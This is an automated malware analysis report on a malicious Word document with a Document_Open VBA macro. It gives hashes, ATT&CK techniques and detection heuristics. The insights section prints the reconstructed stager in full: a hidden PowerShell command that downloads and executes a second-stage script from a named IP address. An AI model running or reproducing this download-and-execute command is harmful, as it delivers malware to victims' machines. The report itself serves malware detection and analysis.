Office (OLE) malware analysis — malicious · ae2681272e48b4ef

MALICIOUS

Office (OLE)

155.1 KB Created: 2020-09-15 04:19:00 Authoring application: Microsoft Office Word

MD5: a8f8cd02b631fa367e388e9a1c9e01f8 SHA-1: 00f6b639ee20ebe7c5a3ce04536667dc0e9b22fb SHA-256: ae2681272e48b4efd111e5bf8b0755deec9c928ac0ef0a2d45a3f12f279b0f28

300 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The sample contains a VBA macro with a Document_Open auto-execution function. This macro utilizes a heavily obfuscated PowerShell stager, which reconstructs to: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.14.230.100/a.ps1')". This stager is designed to download and execute a second-stage payload from the specified URL. The obfuscation and the use of a downloader indicate a malicious intent to deliver further malware.

Heuristics 8

Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL

OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
ClamAV: Doc.Malware.Ewlu-9762397-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Ewlu-9762397-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `262eaa2cfabe15c408f9ed0f71f3e80b6e1636570aa2563811ecb34f68c15392`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22860 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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